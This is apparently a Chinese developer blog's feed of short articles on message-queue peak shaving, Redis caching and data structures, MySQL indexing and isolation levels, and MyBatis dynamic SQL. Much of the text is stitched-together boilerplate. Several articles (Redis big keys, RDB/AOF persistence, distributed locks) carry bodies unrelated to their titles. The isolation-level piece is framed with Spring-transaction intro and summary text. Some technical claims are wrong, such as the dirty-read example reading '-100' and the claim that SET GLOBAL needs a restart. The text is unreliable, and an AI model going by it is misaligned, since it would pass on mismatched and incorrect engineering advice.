案例一：秒杀场景

@Service
public class SeckillService {
    
    @Autowired
    private RabbitTemplate rabbitTemplate;
    
    public String seckill(Long productId, Long userId) {
        // 1. 先判断库存（快速失败）
        if (!inventoryService.hasStock(productId)) {
            return "库存不足";
        }
        
        // 2. 发送秒杀请求到队列
        SeckillRequest request = new SeckillRequest(productId, userId);
        rabbitTemplate.convertAndSend("exchange.seckill", "seckill", request);
        
        return "排队中";
    }
}

#

案例二：日志收集

@Service
public class LogService {
    
    @Autowired
    private KafkaTemplate<String, LogEntry> kafkaTemplate;
    
    public void log(LogEntry entry) {
        // 异步发送到 Kafka
        kafkaTemplate.send("logs", entry);
        // 不等待确认，直接返回
    }
}

关键配置

#

队列容量

# 设置队列最大长度
queue.order:
  max-length: 100000  # 最多存储 10 万条消息
  overflow: reject-publish # 超出时拒绝新消息

#

死信队列

# 死信队列配置
queue.order.dlx:
  dead-letter-exchange: exchange.dlx
  dead-letter-routing-key: dlx.order

#

重试机制

@Retryable(
    retryFor = {Exception.class},
    maxAttempts = 3,
    backoff = @Backoff(delay = 1000, multiplier = 2)
)
public void processMessage(Long orderId) {
    // 业务处理逻辑
}

注意事项

#

1. 消息丢失问题

// 使用事务保证消息可靠性
@Transactional
public void createOrder(Order order) {
    orderRepository.save(order);
    
    // 发送消息（在事务内）
    rabbitTemplate.convertAndSend("exchange.order", "order.created", order.getId());
}

#

2. 消息重复问题

// 幂等处理
public void handleMessage(Message message) {
    String messageId = message.getMessageId();
    
    // 检查是否已处理
    if (redisTemplate.hasKey("processed:" + messageId)) {
        return;
    }
    
    // 处理业务
    processBusiness(message);
    
    // 标记已处理
    redisTemplate.opsForValue().set("processed:" + messageId, "1", Duration.ofDays(1));
}

#

3. 消息积压监控

# 监控队列长度
rabbitmqctl list_queues name messages

# 查看消费者状态
rabbitmqctl list_consumers

总结

消息队列削峰填谷的关键：

  1. 异步处理：将同步调用转为异步消息
  2. 流量缓冲：通过队列存储峰值请求
  3. 匀速消费：控制消费速度，保护下游系统
  4. 弹性伸缩：根据队列长度动态调整消费者数量

我在多个高并发项目中都使用了消息队列来实现削峰填谷，效果非常显著。希望这些经验能帮到你。

核心要点

  1. 消息队列的核心价值：异步处理、解耦、削峰填谷

  2. 常见的消息队列：RabbitMQ、Kafka、RocketMQ 的区别

  3. 消息丢失的原因和解决方案：生产者确认、消息持久化、消费者确认

  4. 消息重复消费的处理：幂等性设计

总结

消息队列是构建高可用系统的重要组件，但需要正确使用。在实际项目中，根据业务需求选择合适的消息队列，并做好消息可靠性保障。

]]> 消息队列 架构 消息队列 Redis 大 key 和热 key 排查 //redis-da-key-he-re-key-pai-cha/ Redis 大 key 和热 key 排查

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 Redis 持久化 RDB 和 AOF 怎么选 //redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/ Redis 持久化 RDB 和 AOF 怎么选

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 Redis 分布式锁的正确姿势 //redis-fen-bu-shi-suo-de-zheng-que-zi-shi/ Redis 分布式锁的正确姿势

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 缓存穿透击穿雪崩怎么处理 //huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/ 缓存穿透击穿雪崩怎么处理

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

]]> Redis Redis 缓存 Redis 数据结构详解：从原理到实战应用 //redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/ Redis 数据结构详解：从原理到实战应用

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

五种基本数据结构

#

1. String（字符串）

// 设置值
redisTemplate.opsForValue().set("user:1001:name", "张三");

// 获取值
String name = redisTemplate.opsForValue().get("user:1001:name");

// 设置过期时间
redisTemplate.opsForValue().set("token:abc", "xxx", Duration.ofMinutes(30));

// 原子递增
redisTemplate.opsForValue().increment("counter:page:home");

适用场景：缓存、计数器、Session 存储

#

2. Hash（哈希）

// 设置哈希字段
redisTemplate.opsForHash().put("user:1001", "name", "张三");
redisTemplate.opsForHash().put("user:1001", "email", "zhangsan@example.com");

// 获取整个哈希
Map<Object, Object> user = redisTemplate.opsForHash().entries("user:1001");

// 获取单个字段
String email = (String) redisTemplate.opsForHash().get("user:1001", "email");

适用场景：对象存储、配置信息

#

3. List（列表）

// 从左侧插入
redisTemplate.opsForList().leftPush("queue:orders", "order:1001");
redisTemplate.opsForList().leftPush("queue:orders", "order:1002");

// 从右侧弹出
String orderId = (String) redisTemplate.opsForList().rightPop("queue:orders");

// 获取列表长度
Long size = redisTemplate.opsForList().size("queue:orders");

适用场景：消息队列、任务队列、最新列表

#

4. Set（集合）

// 添加元素
redisTemplate.opsForSet().add("set:users", "user:1", "user:2", "user:3");

// 判断元素是否存在
Boolean exists = redisTemplate.opsForSet().isMember("set:users", "user:1");

// 交集
Set<Object> intersection = redisTemplate.opsForSet().intersect("set:a", "set:b");

// 差集
Set<Object> difference = redisTemplate.opsForSet().difference("set:a", "set:b");

适用场景：去重、共同好友、抽奖

#

5. Sorted Set（有序集合）

// 添加元素（带分数）
redisTemplate.opsForZSet().add("ranking:score", "user:1", 100);
redisTemplate.opsForZSet().add("ranking:score", "user:2", 95);
redisTemplate.opsForZSet().add("ranking:score", "user:3", 98);

// 获取排名（从高到低）
Set<Object> top10 = redisTemplate.opsForZSet()
    .reverseRange("ranking:score", 0, 9);

// 获取分数
Double score = redisTemplate.opsForZSet().score("ranking:score", "user:1");

// 增加分数
redisTemplate.opsForZSet().incrementScore("ranking:score", "user:1", 5);

适用场景：排行榜、积分系统、范围查询

高级数据结构

#

HyperLogLog

// 添加元素
redisTemplate.opsForHyperLogLog().add("hll:uv", "user:1", "user:2", "user:3");

// 获取基数估算
Long uv = redisTemplate.opsForHyperLogLog().size("hll:uv");

// 合并多个 HyperLogLog
redisTemplate.opsForHyperLogLog().union("hll:uv:total", "hll:uv:day1", "hll:uv:day2");

适用场景：UV 统计、去重计数

#

Geo

// 添加地理位置
redisTemplate.opsForGeo().add("geo:stores", 
    new Point(116.4074, 39.9042), "北京",
    new Point(121.4737, 31.2304), "上海");

// 获取两点距离
Distance distance = redisTemplate.opsForGeo()
    .distance("geo:stores", "北京", "上海", Metrics.KILOMETERS);

// 附近的位置
GeoResults<GeoLocation<Object>> results = redisTemplate.opsForGeo()
    .radius("geo:stores", new Circle(116.4074, 39.9042, new Distance(10, Metrics.KILOMETERS)));

适用场景：LBS 服务、附近的人

实战案例

#

案例一：缓存用户信息

public UserDTO getUser(Long userId) {
    String key = "user:" + userId;
    
    // 先查缓存
    Object cached = redisTemplate.opsForHash().entries(key);
    if (cached != null && !((Map<?, ?>) cached).isEmpty()) {
        return convertFromHash((Map<Object, Object>) cached);
    }
    
    // 缓存不存在，查数据库
    User user = userRepository.findById(userId).orElse(null);
    if (user != null) {
        // 写入缓存
        redisTemplate.opsForHash().putAll(key, convertToHash(user));
        redisTemplate.expire(key, Duration.ofMinutes(30));
    }
    
    return convertToDTO(user);
}

#

案例二：实现排行榜

@Service
public class RankingService {
    
    private static final String RANKING_KEY = "ranking:game";
    
    public void addScore(Long userId, int score) {
        redisTemplate.opsForZSet().incrementScore(RANKING_KEY, "user:" + userId, score);
    }
    
    public List<Long> getTopUsers(int limit) {
        Set<Object> top = redisTemplate.opsForZSet()
            .reverseRange(RANKING_KEY, 0, limit - 1);
        
        return top.stream()
            .map(obj -> Long.parseLong(obj.toString().split(":")[1]))
            .collect(Collectors.toList());
    }
    
    public int getUserRank(Long userId) {
        Long rank = redisTemplate.opsForZSet()
            .reverseRank(RANKING_KEY, "user:" + userId);
        
        return rank != null ? rank.intValue() + 1 : -1;
    }
}

总结

选择合适的数据结构是使用 Redis 的关键：

  1. String：简单的键值对存储
  2. Hash：对象属性存储
  3. List：有序列表，适合队列
  4. Set：无序去重集合
  5. ZSet：有序集合，适合排名

理解每种数据结构的特点，才能发挥 Redis 的最大价值。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 数据库字段类型如何贴近业务 //shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/ 数据库字段类型如何贴近业务

字段类型的选择直接影响性能和数据完整性。本文从实际项目经验出发讲如何选。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 分页查询性能问题和游标分页 //fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/ 分页查询性能问题和游标分页

分页查询看似简单，但 offset 越来越大时性能会急剧下降。本文讲游标分页的实现方式和适用场景。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 慢 SQL 排查和优化完整流程 //man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/ 慢 SQL 排查和优化完整流程

慢 SQL 排查和优化完整流程是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 MySQL 事务隔离级别：理解脏读、不可重复读与幻读 //mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/ MySQL 事务隔离级别：理解脏读、不可重复读与幻读

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

事务的 ACID 特性

┌─────────────────────────────────────────────┐
│           ACID 特性                         │
├─────────────────────────────────────────────┤
│ Atomicity（原子性）: 要么全部执行，要么全部回滚 │
│ Consistency（一致性）: 数据从一个有效状态到另一个 │
│ Isolation（隔离性）: 事务之间相互隔离         │
│ Durability（持久性）: 提交后数据永久保存       │
└─────────────────────────────────────────────┘

四种隔离级别

级别脏读不可重复读幻读说明
READ UNCOMMITTED可能可能可能最低级别，性能最高
READ COMMITTED不可能可能可能大多数数据库默认
REPEATABLE READ不可能不可能可能MySQL InnoDB 默认
SERIALIZABLE不可能不可能不可能最高级别，性能最低

#

1. READ UNCOMMITTED（读未提交）

-- 事务 A
SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
BEGIN;
UPDATE accounts SET balance = balance - 100 WHERE id = 1;
-- 此时事务未提交

-- 事务 B（可以读到未提交的数据）
SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
BEGIN;
SELECT balance FROM accounts WHERE id = 1; -- 读到 -100

#

2. READ COMMITTED（读已提交）

-- 事务 A
SET TRANSACTION ISOLATION LEVEL READ COMMITTED;
BEGIN;
UPDATE accounts SET balance = balance - 100 WHERE id = 1;
COMMIT;

-- 事务 B（只能读到已提交的数据）
SET TRANSACTION ISOLATION LEVEL READ COMMITTED;
BEGIN;
SELECT balance FROM accounts WHERE id = 1; -- 读到更新前的值
-- 事务 A 提交后
SELECT balance FROM accounts WHERE id = 1; -- 读到更新后的值（不可重复读）
COMMIT;

#

3. REPEATABLE READ（可重复读）

-- 事务 A
SET TRANSACTION ISOLATION LEVEL REPEATABLE READ;
BEGIN;
SELECT balance FROM accounts WHERE id = 1; -- 读到 1000

-- 事务 B
SET TRANSACTION ISOLATION LEVEL REPEATABLE READ;
BEGIN;
UPDATE accounts SET balance = balance - 100 WHERE id = 1;
COMMIT;

-- 事务 A（继续读取）
SELECT balance FROM accounts WHERE id = 1; -- 仍然读到 1000（可重复读）
COMMIT;

#

4. SERIALIZABLE（串行化）

-- 事务 A
SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;
BEGIN;
SELECT * FROM orders WHERE status = 'PAID';

-- 事务 B（被阻塞，直到事务 A 提交）
SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;
BEGIN;
INSERT INTO orders (user_id, status) VALUES (1001, 'PAID'); -- 阻塞

幻读问题

#

什么是幻读

-- 事务 A
BEGIN;
SELECT COUNT(*) FROM orders WHERE status = 'PAID'; -- 返回 10

-- 事务 B
BEGIN;
INSERT INTO orders (user_id, status) VALUES (1002, 'PAID');
COMMIT;

-- 事务 A（继续执行）
SELECT COUNT(*) FROM orders WHERE status = 'PAID'; -- 返回 11（幻读）
COMMIT;

#

InnoDB 的解决方案

-- 使用 Next-Key Lock 防止幻读
BEGIN;
SELECT * FROM orders WHERE status = 'PAID' FOR UPDATE; -- 锁定范围
-- 此时事务 B 插入会被阻塞
COMMIT;

实战建议

#

设置隔离级别

-- 会话级别
SET TRANSACTION ISOLATION LEVEL REPEATABLE READ;

-- 全局级别（需重启生效）
SET GLOBAL TRANSACTION ISOLATION LEVEL READ COMMITTED;

#

配置文件

# my.cnf
transaction-isolation = REPEATABLE-READ

#

选择建议

场景推荐级别
OLTP 系统REPEATABLE READ
报表/分析READ COMMITTED
金融系统SERIALIZABLE

总结

事务隔离级别的选择需要权衡一致性和性能：

  1. READ UNCOMMITTED：性能最高，一致性最差
  2. READ COMMITTED：解决脏读，存在不可重复读和幻读
  3. REPEATABLE READ：解决不可重复读，InnoDB 还解决了幻读
  4. SERIALIZABLE：完全串行化，性能最差

理解隔离级别能帮助你更好地设计事务，避免并发问题。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> MySQL SQL MySQL优化 EXPLAIN 执行计划应该看哪些字段 //explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/ EXPLAIN 执行计划应该看哪些字段

EXPLAIN 是优化 SQL 的入口工具，理解它的输出是每个后端工程师的基本功。本文讲清楚几个关键字段的含义。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 MySQL 索引设计的几个核心原则 //mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/ MySQL 索引设计的几个核心原则

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL SQL MySQL优化 MyBatis 批量插入和性能优化 //mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/ MyBatis 批量插入和性能优化

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis MyBatis 动态 SQL：优雅构建灵活查询 //mybatis-dong-tai-sql-de-zheng-que-xie-fa/ MyBatis 动态 SQL：优雅构建灵活查询

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

基础标签

#

1. <if> 标签

<select id="findUsers" resultType="User">
    SELECT id, username, email
    FROM users
    WHERE 1=1
    <if test="username != null and username != ''">
        AND username LIKE CONCAT('%', #{username}, '%')
    </if>
    <if test="email != null and email != ''">
        AND email = #{email}
    </if>
</select>

#

2. <where> 标签

<select id="findUsers" resultType="User">
    SELECT id, username, email
    FROM users
    <where>
        <if test="username != null and username != ''">
            AND username LIKE CONCAT('%', #{username}, '%')
        </if>
        <if test="email != null and email != ''">
            AND email = #{email}
        </if>
    </where>
</select>

特点：自动移除多余的 AND 或 OR

#

3. <choose> 标签

<select id="findUsers" resultType="User">
    SELECT id, username, email
    FROM users
    <where>
        <choose>
            <when test="id != null">
                AND id = #{id}
            </when>
            <when test="username != null and username != ''">
                AND username LIKE CONCAT('%', #{username}, '%')
            </when>
            <otherwise>
                AND status = 1
            </otherwise>
        </choose>
    </where>
</select>

集合操作

#

4. <foreach> 标签

<select id="findUsersByIds" resultType="User">
    SELECT id, username, email
    FROM users
    WHERE id IN
    <foreach collection="ids" item="id" open="(" separator="," close=")">
        #{id}
    </foreach>
</select>

批量插入：

<insert id="batchInsert">
    INSERT INTO users (username, email)
    VALUES
    <foreach collection="list" item="item" separator=",">
        (#{item.username}, #{item.email})
    </foreach>
</insert>

高级用法

#

5. <trim> 标签

<select id="findUsers" resultType="User">
    SELECT id, username, email
    FROM users
    <trim prefix="WHERE" prefixOverrides="AND | OR">
        <if test="username != null">AND username = #{username}</if>
        <if test="email != null">AND email = #{email}</if>
    </trim>
</select>

#

6. <set> 标签

<update id="updateUser">
    UPDATE users
    <set>
        <if test="username != null">username = #{username},</if>
        <if test="email != null">email = #{email},</if>
        <if test="status != null">status = #{status},</if>
    </set>
    WHERE id = #{id}
</update>

特点：自动移除多余的逗号

实战案例

#

案例一：复杂查询条件

<select id="findOrders" resultType="Order">
    SELECT * FROM orders
    <where>
        <if test="userId != null">
            AND user_id = #{userId}
        </if>
        <if test="status != null">
            AND status = #{status}
        </if>
        <if test="startTime != null">
            AND created_at >= #{startTime}
        </if>
        <if test="endTime != null">
            AND created_at < #{endTime}
        </if>
    </where>
    ORDER BY created_at DESC
</select>

#

案例二：动态排序

<select id="findUsers" resultType="User">
    SELECT * FROM users
    <where>
        <if test="keyword != null">
            AND username LIKE CONCAT('%', #{keyword}, '%')
        </if>
    </where>
    ORDER BY 
    <choose>
        <when test="sortBy == 'username'">username</when>
        <when test="sortBy == 'createdAt'">created_at</when>
        <otherwise>id</otherwise>
    </choose>
    <if test="sortOrder == 'desc'">DESC</if>
    <if test="sortOrder != 'desc'">ASC</if>
</select>

注意事项

#

1. 防止 SQL 注入

<!-- ✅ 正确：使用 #{} -->
WHERE username = #{username}

<!-- ❌ 错误：使用 ${}，可能导致 SQL 注入 -->
WHERE username = '${username}'

#

2. 处理空集合

// 在 Service 层检查
if (CollectionUtils.isEmpty(ids)) {
    return Collections.emptyList();
}

#

3. SQL 日志调试

mybatis:
  configuration:
    log-impl: org.apache.ibatis.logging.stdout.StdOutImpl

总结

动态 SQL 的关键技巧：

